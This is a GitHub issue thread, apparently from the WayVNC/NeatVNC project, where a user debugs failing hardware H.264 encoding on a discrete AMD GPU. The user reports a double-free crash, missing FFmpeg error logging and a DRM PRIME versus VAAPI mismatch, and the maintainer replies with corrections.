any1
commented
3 months ago Just delete h264_encoder_destroy(encoder); to avoid the double free.
That would cause a memory leak when it succeeds. The problem is that h264_encoder_destroy should be idempotent (do nothing with NULL), but the NULL check is missing in the function.
This seems to suggest that the present code is only tested with single-board computers like Raspberry Pi, but discrete GPUs are never fully tested.
A different encoder is used for Raspberry Pi. This is tested on my Intel based laptop and I think I also tested it on my workstation at work, which has an AMD processor and a dedicated GPU. The AMD chip does not have an integrated GPU.
It's probably just selecting the wrong render node. If you have multiple render nodes, you need to select the one that's used by the compositor. This is not implemented.
A DRM PRIME is just another name for a Linux DMA-BUF.
biergaizi
Useful information:
Overview
I'm trying to enable hardware H.264 encoding on a PC with a discrete AMD GPU with AMDGPU and Mesa. Unfortunately it keeps failing in mysterious ways, and even the debug log via
--log-level=debugcan't produce any helpful information (and sometimes even misleading to untrained eyes). I decided to review the source code and I've identified at least three problems.Two of them are trivial to fix, but the last one suggests that WayVNC's H.264 encoding is only compatible with DRM PRIME, but not VAAPI, likely making it incompatible with most (if not all) discrete GPUs.The last one is an user error which can be fixed by enabling both VAAPI and libdrm at the same time.Problem 1: Crash in
have_working_h264_encoder()Symptom
When wayvnc is started via
wayvnc --gpu, connecting a TigerVNC client with H.264 enabled immediately crashes WayVNC.The ZRLE log message before WayVNC crashed is misleading, don't let it fool you. The gdb trace showed that the actual crash occurred the H.264 codepath before it printed any debug messages to the console.
Analysis
The root cause of the crash is a variant of the double free bug. When H.264 is requested, NeatVNC attempts to initialize a H.264 hardware device via
have_working_h264_encoder()insrc/server.c:Internally,
h264_encoder_create()calls the FFmpeg backend,h264_encoder_ffmpeg_create()insrc/enc/h264/ffmpeg-impl.c. Due to a failure inav_hwdevice_ctx_create()in FFmpeg, the function frees resources and returnNULL.After control is returned to
have_working_h264_encoder(), it sees the H.264 device creation has failed, it attempts to callh264_encoder_destroy(encoder)to free resources and prints a debug log to the console.Unfortunately,
h264_encoder_destroy(encoder)calls the backendh264_encoder_ffmpeg_destroy(), which then attempts to free resources that have already been freed (or never successfully allocated to begin with) after the initial error occurred, crashing the problem. Furthermore, because the crash occurred before the H.264 debug log, the failure is never printed to the console.This is likely the root cause of #258 (and perhaps #318 and #319?).
Patch
Just delete
h264_encoder_destroy(encoder);to avoid the double free.Problem 2: Debug Log on H.264 Encoding is Inadequate or Nonexistent
Symptom
After the initial bug has been patched, continued testing showed H.264 encoding is still unavailable.
Analysis
When failures occur in NeatVNC's H.264 codepath, it returns immediately without logging any debug information about where and how it failed. Without any error code or message, it's impossible for an end user to troubleshoot hardware encoding without tracing the source code in a debugger.
From the source code of
h264_encoder_ffmpeg_create(), it shows that are at least 6 possible ways in which H.264 initialization can fail.But none of the failures produces any log, not even a
NVNC_LOG_DEBUGlog. Ideally, all failure codepaths should have debug logs. If the error occurs in FFmpeg, one should also callav_err2str(err)orav_strerror()to produce human-readable error messages.Patch
Ideally, all failure paths should have logs. For brevity. I'll just point two critical places that provided information necessary for my own troubleshooting.
However, I noticed that FFmpeg already has the macro
av_err2str()inerror.h[https://www.ffmpeg.org/doxygen/2.0/error_8h_source.html] to automatically create a static buffer in order to simplify user code, which is used in official examples.Is there any reason that this macro is not used in favor of doing it manually? In my opinion the following code is clearer:
Problem 3: Discrete GPUs are not Supported by
AV_HWDEVICE_TYPE_DRMSymptom
After the initial two problem have been patched, continued testing showed FFmpeg H.264 initialization failed in
av_hwdevice_ctx_create()with the error "Cannot allocate memory".This suggests FFmpeg has an internal problem, and it's likely caused by hardware incompatibility.
Analysis
To understand and isolate the problem, I wrote this test program based on FFmpeg's official examples. This can show whether FFmpeg itself has working hardware encoding.
The following program can be compiled via
cc -Wall -Wextra -pedantic -std=c99 -g -O2 vaapi_encode.c -lavdevice -lavformat -lavfilter -lavcodec -lswresample -lswscale -lavutil -o vaapi_encodeThe tests showed that the DRM render node can be opened as
AV_HWDEVICE_TYPE_VAAPI, but it cannot be opened asAV_HWDEVICE_TYPE_DRM.Thus, an obvious idea is to see what happens if WayVNC opens the GPU render node as a
AV_HWDEVICE_TYPE_VAAPI.A test showed that the troubleshooting has made immense progress, but it's far from enough.
Now FFmpeg can be initialized and the GPU can also be recogized. but it fails at:
So it's not as simple as a type flag change.
I'm not an expert an VAAPI or drm_prime, so I had a hard time understanding their differeces. But after some Web searches, it seems that hardware encoding on
drm_primeis a special zero-copy mechanism that depend on shared memory between the CPU and GPU, meanwhile VAAPI is the general-purpose GPU hardware transcoding API.Furthermore, I found this explaination of DRM PRIME from a Mesa code example:
If my deduction is correct (please correct me if I'm wrong), this shows the actual H.264 encoding problem is systematic. The current H.264 implementation reply on DRM PRIME rather than the generic VAAPI, so only supports embedded SoCs but not the general VAAPI. So it's likely incompatible with most (if not all) discrete GPUs? This seems to suggest that the present code is only tested with single-board computers like Raspberry Pi, but discrete GPUs are never fully tested, and a full fix requires extending the current GPU encoding backend with a VAAPI codepath.